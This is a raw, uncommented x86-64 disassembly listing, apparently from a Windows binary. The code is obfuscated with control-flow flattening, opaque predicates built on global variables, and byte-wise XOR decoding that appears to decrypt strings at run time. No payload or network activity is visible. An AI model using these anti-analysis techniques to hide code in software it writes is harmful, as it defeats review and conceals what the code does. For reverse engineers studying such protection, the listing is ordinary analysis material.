nop word cs:[rax + rax]
cmp ecx, 0xf8519604
jle 0x140017730
cmp ecx, 0xf8519605
je 0x1400176d1
cmp ecx, 0x500734ed
je 0x140017849
cmp ecx, 0x6e8b7459
jne 0x1400176e0
mov rcx, qword [rbp + 0x1b0]
mov r15d, ecx
not r15d
and r15d, 0x11
and rcx, 0xffffffffffffffee
or rcx, r15
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x1400176e0
cmp ecx, 0xb10778c1
je 0x14001774e
cmp ecx, 0xd56ccb21
jne 0x1400176e0
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x1400176e0
mov r9, qword [rbp + 0x138]
mov ecx, eax
jmp 0x1400176e0
mov edx, r9d
nop dword [rax]
cmp edx, 0xf8519604
jle 0x1400177b0
cmp edx, 0xf8519605
je 0x140017759
cmp edx, 0x500734ed
je 0x1400182d5
cmp edx, 0x6e8b7459
jne 0x140017760
mov rdx, qword [rbp + 0x1b0]
mov r12d, edx
not r12d
and r12d, 0xb
and rdx, 0xfffffffffffffff4
or rdx, r12
mov qword [rbp + 0x138], rdx
mov edx, 0xf8519605
jmp 0x140017760
cmp edx, 0xb10778c1
je 0x1400177ce
cmp edx, 0xd56ccb21
jne 0x140017760
mov rdx, qword [rbp + 0x138]
mov edx, 0xb10778c1
jmp 0x140017760
mov r15, qword [rbp + 0x138]
mov edx, ecx
jmp 0x140017760
mov ecx, edx
nop dword [rax + rax]
cmp ecx, 0xf8519604
jle 0x140017820
cmp ecx, 0xf8519605
je 0x1400177d9
cmp ecx, 0x500734ed
je 0x1400183c9
cmp ecx, 0x6e8b7459
jne 0x1400177e0
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0x11
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x1400177e0
cmp ecx, 0xb10778c1
je 0x14001783e
cmp ecx, 0xd56ccb21
jne 0x1400177e0
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x1400177e0
mov r9, qword [rbp + 0x138]
mov ecx, eax
jmp 0x1400177e0
mov byte [rbp + 0x188], r9b
movzx eax, byte [rbp + 0x188]
mov rcx, qword [rbp + 0x1e8]
mov byte [rcx], al
mov rax, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 7]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5cfc], 0xa
setl dl
or dl, cl
mov edx, 0xd56ccb21
cmovne edx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov ecx, 0x6e8b7459
jmp 0x1400178c0
mov ecx, r9d
nop dword [rax]
cmp ecx, 0xf8519604
jle 0x140017900
cmp ecx, 0xf8519605
je 0x1400178ba
cmp ecx, 0x500734ed
je 0x140017929
cmp ecx, 0x6e8b7459
jne 0x1400178c0
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0x12
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x1400178c0
cmp ecx, 0xb10778c1
je 0x14001791e
cmp ecx, 0xd56ccb21
jne 0x1400178c0
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x1400178c0
mov r15, qword [rbp + 0x138]
mov ecx, edx
jmp 0x1400178c0
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 1], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 8]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5cfc], 0xa
setl dl
or dl, cl
mov edx, 0xd56ccb21
cmovne edx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov ecx, 0x6e8b7459
jmp 0x140017990
mov ecx, r9d
cmp ecx, 0xf8519604
jle 0x1400179e0
cmp ecx, 0xf8519605
je 0x14001798d
cmp ecx, 0x500734ed
je 0x140017a09
cmp ecx, 0x6e8b7459
jne 0x140017990
mov rcx, qword [rbp + 0x1b0]
mov r12d, ecx
not r12d
and r12d, 0x13
and rcx, 0xffffffffffffffec
or rcx, r12
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140017990
cmp ecx, 0xb10778c1
je 0x1400179fe
cmp ecx, 0xd56ccb21
jne 0x140017990
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140017990
mov r15, qword [rbp + 0x138]
mov ecx, edx
jmp 0x140017990
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 2], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 9]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
cmp dword [0x1402b5cfc], 0xa
setl dl
or dl, cl
mov edx, 0xd56ccb21
cmovne edx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov ecx, 0x6e8b7459
jmp 0x140017a70
mov ecx, r9d
nop
cmp ecx, 0xf8519604
jle 0x140017ac0
cmp ecx, 0xf8519605
je 0x140017a6c
cmp ecx, 0x500734ed
je 0x140017ae9
cmp ecx, 0x6e8b7459
jne 0x140017a70
mov rcx, qword [rbp + 0x1b0]
mov r12d, ecx
not r12d
and r12d, 0x14
and rcx, 0xffffffffffffffeb
or rcx, r12
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140017a70
cmp ecx, 0xb10778c1
je 0x140017ade
cmp ecx, 0xd56ccb21
jne 0x140017a70
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140017a70
mov r15, qword [rbp + 0x138]
mov ecx, edx
jmp 0x140017a70
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 3], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 0xa]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx + 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1402b5cfc], 0xa
setge r9b
setl r15b
xor r15b, cl
or r9b, dl
not r9b
or r9b, r15b
test r9b, 1
mov r9d, 0xd56ccb21
cmovne r9d, r11d
mov edx, 0xd56ccb21
cmovne edx, esi
mov ecx, 0x6e8b7459
jmp 0x140017b60
mov ecx, edx
nop dword [rax]
cmp ecx, 0xf8519604
jle 0x140017bb0
cmp ecx, 0xf8519605
je 0x140017b5a
cmp ecx, 0x500734ed
je 0x140017bda
cmp ecx, 0x6e8b7459
jne 0x140017b60
mov rcx, qword [rbp + 0x1b0]
mov r12d, ecx
not r12d
and r12d, 0x15
and rcx, 0xffffffffffffffea
or rcx, r12
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140017b60
cmp ecx, 0xb10778c1
je 0x140017bce
cmp ecx, 0xd56ccb21
jne 0x140017b60
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140017b60
mov r15, qword [rbp + 0x138]
mov ecx, r9d
jmp 0x140017b60
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 4], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 0xb]
mov qword [rbp + 0x1b0], rcx
mov ecx, 0x6e8b7459
jmp 0x140017c10
mov ecx, edx
nop word [rax + rax]
cmp ecx, 0xf8519604
jle 0x140017c50
cmp ecx, 0xf8519605
je 0x140017c08
cmp ecx, 0x500734ed
je 0x140017c7a
cmp ecx, 0x6e8b7459
jne 0x140017c10
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0x16
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140017c10
cmp ecx, 0xb10778c1
je 0x140017c6e
cmp ecx, 0xd56ccb21
jne 0x140017c10
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140017c10
mov r15, qword [rbp + 0x138]
mov ecx, r9d
jmp 0x140017c10
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 5], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 0xc]
mov qword [rbp + 0x1b0], rcx
mov ecx, 0x6e8b7459
jmp 0x140017cb0
mov ecx, edx
nop word [rax + rax]
cmp ecx, 0xf8519604
jle 0x140017cf0
cmp ecx, 0xf8519605
je 0x140017ca8
cmp ecx, 0x500734ed
je 0x140017d1a
cmp ecx, 0x6e8b7459
jne 0x140017cb0
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0x17
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140017cb0
cmp ecx, 0xb10778c1
je 0x140017d0e
cmp ecx, 0xd56ccb21
jne 0x140017cb0
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140017cb0
mov r15, qword [rbp + 0x138]
mov ecx, r9d
jmp 0x140017cb0
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 6], cl
mov byte [rax + 7], 0
mov rax, qword [rbp + 0x180]
mov byte [rax + 0xe], 1
mov eax, dword [0x1402b5cf0]
mov ecx, dword [0x1402b5cf4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r9b
cmp ecx, 0xa
setl r15b
xor r15b, r9b
mov r9d, 0x704805a0
cmovne r9d, edi
test eax, edx
mov edx, r9d
cmove edx, edi
cmp ecx, 0xa
cmovge edx, r9d
jmp 0x1400174f0
movsx rax, byte [r8]
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1402b5cf8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5cfc], 0xa
setl cl
or cl, al
mov eax, 0xd56ccb21
cmovne eax, r11d
mov edx, 0xd56ccb21
cmovne edx, esi
mov ecx, 0x6e8b7459
jmp 0x140017dd0
mov ecx, edx
nop word cs:[rax + rax]
cmp ecx, 0xf8519604
jle 0x140017e20
cmp ecx, 0xf8519605
je 0x140017dc4
cmp ecx, 0x500734ed
je 0x140017f19
cmp ecx, 0x6e8b7459
jne 0x140017dd0
mov rcx, qword [rbp + 0x1b0]
mov r15d, ecx
not r15d
and r15d, 0xb
and rcx, 0xfffffffffffffff4
or rcx, r15
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140017dd0
cmp ecx, 0xb10778c1
je 0x140017e3e
cmp ecx, 0xd56ccb21
jne 0x140017dd0
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140017dd0
mov r9, qword [rbp + 0x138]
mov ecx, eax
jmp 0x140017dd0
mov rax, qword [rbp + 0x200]
movsx rax, byte [rax + 5]
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1402b5cf8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete cl
cmp dword [0x1402b5cfc], 0xa
setge dl
setl r9b
xor r9b, cl
or dl, al
xor dl, 1
or dl, r9b
mov eax, 0xd56ccb21
cmovne eax, r11d
mov edx, 0xd56ccb21
cmovne edx, esi
mov ecx, 0x6e8b7459
jmp 0x140017eb0
mov ecx, edx
nop dword [rax + rax]
cmp ecx, 0xf8519604
jle 0x140017ef0
cmp ecx, 0xf8519605
je 0x140017ea6
cmp ecx, 0x500734ed
je 0x140017fe9
cmp ecx, 0x6e8b7459
jne 0x140017eb0
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0x10
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140017eb0
cmp ecx, 0xb10778c1
je 0x140017f0e
cmp ecx, 0xd56ccb21
jne 0x140017eb0
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140017eb0
mov r9, qword [rbp + 0x138]
mov ecx, eax
jmp 0x140017eb0
mov byte [rbp + 0x188], r9b
movzx eax, byte [rbp + 0x188]
mov byte [r13], al
movsx rax, byte [r8 + 1]
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1402b5cf8]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1402b5cfc], 0xa
setge dl
setl r9b
xor r9b, al
or dl, cl
not dl
or dl, r9b
test dl, 1
mov eax, 0xd56ccb21
cmovne eax, r11d
mov edx, 0xd56ccb21
cmovne edx, esi
mov ecx, 0x6e8b7459
jmp 0x140017f80
mov ecx, edx
nop
cmp ecx, 0xf8519604
jle 0x140017fc0
cmp ecx, 0xf8519605
je 0x140017f7c
cmp ecx, 0x500734ed
je 0x14001802c
cmp ecx, 0x6e8b7459
jne 0x140017f80
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0xc
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140017f80
cmp ecx, 0xb10778c1
je 0x140017fde
cmp ecx, 0xd56ccb21
jne 0x140017f80
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140017f80
mov r9, qword [rbp + 0x138]
mov ecx, eax
jmp 0x140017f80
mov byte [rbp + 0x188], r9b
movzx eax, byte [rbp + 0x188]
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx], al
mov rax, qword [rbp + 0x1d0]
inc rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x178]
mov rax, qword [rax]
mov qword [rbp + 0x190], rax
mov edx, 0x953a75c1
jmp 0x1400174f0
mov byte [rbp + 0x188], r9b
movzx eax, byte [rbp + 0x188]
mov byte [r13 + 1], al
movsx rax, byte [r8 + 2]
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1402b5cf8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
cmp dword [0x1402b5cfc], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, 0xd56ccb21
cmovne eax, r11d
mov edx, 0xd56ccb21
cmovne edx, esi
mov ecx, 0x6e8b7459
jmp 0x140018090
mov ecx, edx
nop
cmp ecx, 0xf8519604
jle 0x1400180e0
cmp ecx, 0xf8519605
je 0x14001808d
cmp ecx, 0x500734ed
je 0x140018109
cmp ecx, 0x6e8b7459
jne 0x140018090
mov rcx, qword [rbp + 0x1b0]
mov r15d, ecx
not r15d
and r15d, 0xd
and rcx, 0xfffffffffffffff2
or rcx, r15
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140018090
cmp ecx, 0xb10778c1
je 0x1400180fe
cmp ecx, 0xd56ccb21
jne 0x140018090
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140018090
mov r9, qword [rbp + 0x138]
mov ecx, eax
jmp 0x140018090
mov byte [rbp + 0x188], r9b
movzx eax, byte [rbp + 0x188]
mov byte [r13 + 2], al
movsx rax, byte [r8 + 3]
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1402b5cf8]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cfc], 0xa
setl cl
or cl, al
mov eax, 0xd56ccb21
cmovne eax, r11d
mov edx, 0xd56ccb21
cmovne edx, esi
mov ecx, 0x6e8b7459
jmp 0x140018170
mov ecx, edx
nop word cs:[rax + rax]
cmp ecx, 0xf8519604
jle 0x1400181c0
cmp ecx, 0xf8519605
je 0x140018162
cmp ecx, 0x500734ed
je 0x1400181e9
cmp ecx, 0x6e8b7459
jne 0x140018170
mov rcx, qword [rbp + 0x1b0]
mov r15d, ecx
not r15d
and r15d, 0xe
and rcx, 0xfffffffffffffff1
or rcx, r15
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140018170
cmp ecx, 0xb10778c1
je 0x1400181de
cmp ecx, 0xd56ccb21
jne 0x140018170
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140018170
mov r9, qword [rbp + 0x138]
mov ecx, eax
jmp 0x140018170
mov byte [rbp + 0x188], r9b
movzx eax, byte [rbp + 0x188]
mov byte [r13 + 3], al
movsx rax, byte [r8 + 4]
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1402b5cf8]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cfc], 0xa
setl cl
or cl, al
mov eax, 0xd56ccb21
cmovne eax, r11d
mov edx, 0xd56ccb21
cmovne edx, esi
mov ecx, 0x6e8b7459
jmp 0x140018250
mov ecx, edx
nop word cs:[rax + rax]
cmp ecx, 0xf8519604
jle 0x140018290
cmp ecx, 0xf8519605
je 0x140018242
cmp ecx, 0x500734ed
je 0x1400182b9
cmp ecx, 0x6e8b7459
jne 0x140018250
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0xf
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140018250
cmp ecx, 0xb10778c1
je 0x1400182ae
cmp ecx, 0xd56ccb21
jne 0x140018250
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140018250
mov r9, qword [rbp + 0x138]
mov ecx, eax
jmp 0x140018250
mov byte [rbp + 0x188], r9b
movzx eax, byte [rbp + 0x188]
mov byte [r13 + 4], al
mov edx, 0xfe43e5fa
jmp 0x1400174f0
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 1]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
setne cl
sete dl
cmp dword [0x1402b5cfc], 0xa
setge r9b
setl r15b
xor r15b, dl
or r9b, cl
xor r9b, 1
or r9b, r15b
mov edx, 0xd56ccb21
cmovne edx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov ecx, 0x6e8b7459
jmp 0x140018350
mov ecx, r9d
nop dword [rax]
cmp ecx, 0xf8519604
jle 0x1400183a0
cmp ecx, 0xf8519605
je 0x14001834a
cmp ecx, 0x500734ed
je 0x1400184c9
cmp ecx, 0x6e8b7459
jne 0x140018350
mov rcx, qword [rbp + 0x1b0]
mov r12d, ecx
not r12d
and r12d, 0xc
and rcx, 0xfffffffffffffff3
or rcx, r12
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140018350
cmp ecx, 0xb10778c1
je 0x1400183be
cmp ecx, 0xd56ccb21
jne 0x140018350
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140018350
mov r15, qword [rbp + 0x138]
mov ecx, edx
jmp 0x140018350
mov byte [rbp + 0x188], r9b
movzx eax, byte [rbp + 0x188]
mov rcx, qword [rbp + 0x1e8]
mov byte [rcx], al
mov rax, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 7]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
setne cl
cmp dword [0x1402b5cfc], 0xa
setge dl
mov r9d, edx
xor r9b, cl
or dl, cl
xor dl, 1
or dl, r9b
mov edx, 0xd56ccb21
cmovne edx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov ecx, 0x6e8b7459
jmp 0x140018450
mov ecx, r9d
nop dword [rax]
cmp ecx, 0xf8519604
jle 0x1400184a0
cmp ecx, 0xf8519605
je 0x140018446
cmp ecx, 0x500734ed
je 0x140018599
cmp ecx, 0x6e8b7459
jne 0x140018450
mov rcx, qword [rbp + 0x1b0]
mov r12d, ecx
not r12d
and r12d, 0x12
and rcx, 0xffffffffffffffed
or rcx, r12
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140018450
cmp ecx, 0xb10778c1
je 0x1400184be
cmp ecx, 0xd56ccb21
jne 0x140018450
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140018450
mov r15, qword [rbp + 0x138]
mov ecx, edx
jmp 0x140018450
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 1], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 2]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5cfc], 0xa
setl dl
or dl, cl
mov edx, 0xd56ccb21
cmovne edx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov ecx, 0x6e8b7459
jmp 0x140018530
mov ecx, r9d
cmp ecx, 0xf8519604
jle 0x140018570
cmp ecx, 0xf8519605
je 0x14001852d
cmp ecx, 0x500734ed
je 0x140018689
cmp ecx, 0x6e8b7459
jne 0x140018530
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0xd
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140018530
cmp ecx, 0xb10778c1
je 0x14001858e
cmp ecx, 0xd56ccb21
jne 0x140018530
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140018530
mov r15, qword [rbp + 0x138]
mov ecx, edx
jmp 0x140018530
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 1], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 8]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
setne cl
sete dl
cmp dword [0x1402b5cfc], 0xa
setge r9b
setl r15b
xor r15b, dl
or r9b, cl
xor r9b, 1
or r9b, r15b
mov edx, 0xd56ccb21
cmovne edx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov ecx, 0x6e8b7459
jmp 0x140018620
mov ecx, r9d
nop word cs:[rax + rax]
cmp ecx, 0xf8519604
jle 0x140018660
cmp ecx, 0xf8519605
je 0x14001860f
cmp ecx, 0x500734ed
je 0x140018759
cmp ecx, 0x6e8b7459
jne 0x140018620
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0x13
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140018620
cmp ecx, 0xb10778c1
je 0x14001867e
cmp ecx, 0xd56ccb21
jne 0x140018620
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140018620
mov r15, qword [rbp + 0x138]
mov ecx, edx
jmp 0x140018620
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 2], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 3]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5cfc], 0xa
setl dl
or dl, cl
mov edx, 0xd56ccb21
cmovne edx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov ecx, 0x6e8b7459
jmp 0x1400186f0
mov ecx, r9d
cmp ecx, 0xf8519604
jle 0x140018730
cmp ecx, 0xf8519605
je 0x1400186ed
cmp ecx, 0x500734ed
je 0x140018839
cmp ecx, 0x6e8b7459
jne 0x1400186f0
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0xe
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x1400186f0
cmp ecx, 0xb10778c1
je 0x14001874e
cmp ecx, 0xd56ccb21
jne 0x1400186f0
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x1400186f0
mov r15, qword [rbp + 0x138]
mov ecx, edx
jmp 0x1400186f0
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 2], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 9]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
cmp dword [0x1402b5cfc], 0xa
setl dl
or dl, cl
mov edx, 0xd56ccb21
cmovne edx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov ecx, 0x6e8b7459
jmp 0x1400187c0
mov ecx, r9d
nop
cmp ecx, 0xf8519604
jle 0x140018810
cmp ecx, 0xf8519605
je 0x1400187bc
cmp ecx, 0x500734ed
je 0x140018909
cmp ecx, 0x6e8b7459
jne 0x1400187c0
mov rcx, qword [rbp + 0x1b0]
mov r12d, ecx
not r12d
and r12d, 0x14
and rcx, 0xffffffffffffffeb
or rcx, r12
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x1400187c0
cmp ecx, 0xb10778c1
je 0x14001882e
cmp ecx, 0xd56ccb21
jne 0x1400187c0
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x1400187c0
mov r15, qword [rbp + 0x138]
mov ecx, edx
jmp 0x1400187c0
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 3], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 4]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5cfc], 0xa
setl dl
or dl, cl
mov edx, 0xd56ccb21
cmovne edx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov ecx, 0x6e8b7459
jmp 0x1400188a0
mov ecx, r9d
cmp ecx, 0xf8519604
jle 0x1400188e0
cmp ecx, 0xf8519605
je 0x14001889d
cmp ecx, 0x500734ed
je 0x1400189ea
cmp ecx, 0x6e8b7459
jne 0x1400188a0
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0xf
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x1400188a0
cmp ecx, 0xb10778c1
je 0x1400188fe
cmp ecx, 0xd56ccb21
jne 0x1400188a0
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x1400188a0
mov r15, qword [rbp + 0x138]
mov ecx, edx
jmp 0x1400188a0
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 3], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 0xa]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5cfc], 0xa
setl dl
or dl, cl
mov r9d, 0xd56ccb21
cmovne r9d, r11d
mov edx, 0xd56ccb21
cmovne edx, esi
mov ecx, 0x6e8b7459
jmp 0x140018970
mov ecx, edx
nop
cmp ecx, 0xf8519604
jle 0x1400189c0
cmp ecx, 0xf8519605
je 0x14001896c
cmp ecx, 0x500734ed
je 0x140018a60
cmp ecx, 0x6e8b7459
jne 0x140018970
mov rcx, qword [rbp + 0x1b0]
mov r12d, ecx
not r12d
and r12d, 0x15
and rcx, 0xffffffffffffffea
or rcx, r12
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140018970
cmp ecx, 0xb10778c1
je 0x1400189de
cmp ecx, 0xd56ccb21
jne 0x140018970
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140018970
mov r15, qword [rbp + 0x138]
mov ecx, r9d
jmp 0x140018970
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 4], cl
mov ecx, dword [0x1402b5cf0]
mov r9d, dword [0x1402b5cf4]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete r15b
cmp r9d, 0xa
setl r12b
xor r12b, r15b
mov r15d, 0xf77a51cc
cmovne r15d, r14d
test ecx, edx
mov edx, r15d
cmove edx, r14d
cmp r9d, 0xa
cmovge edx, r15d
add rax, 5
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x178]
mov rax, qword [rax]
mov qword [rbp + 0x200], rax
jmp 0x1400174f0
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 4], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 0xb]
mov qword [rbp + 0x1b0], rcx
mov ecx, 0x6e8b7459
jmp 0x140018a90
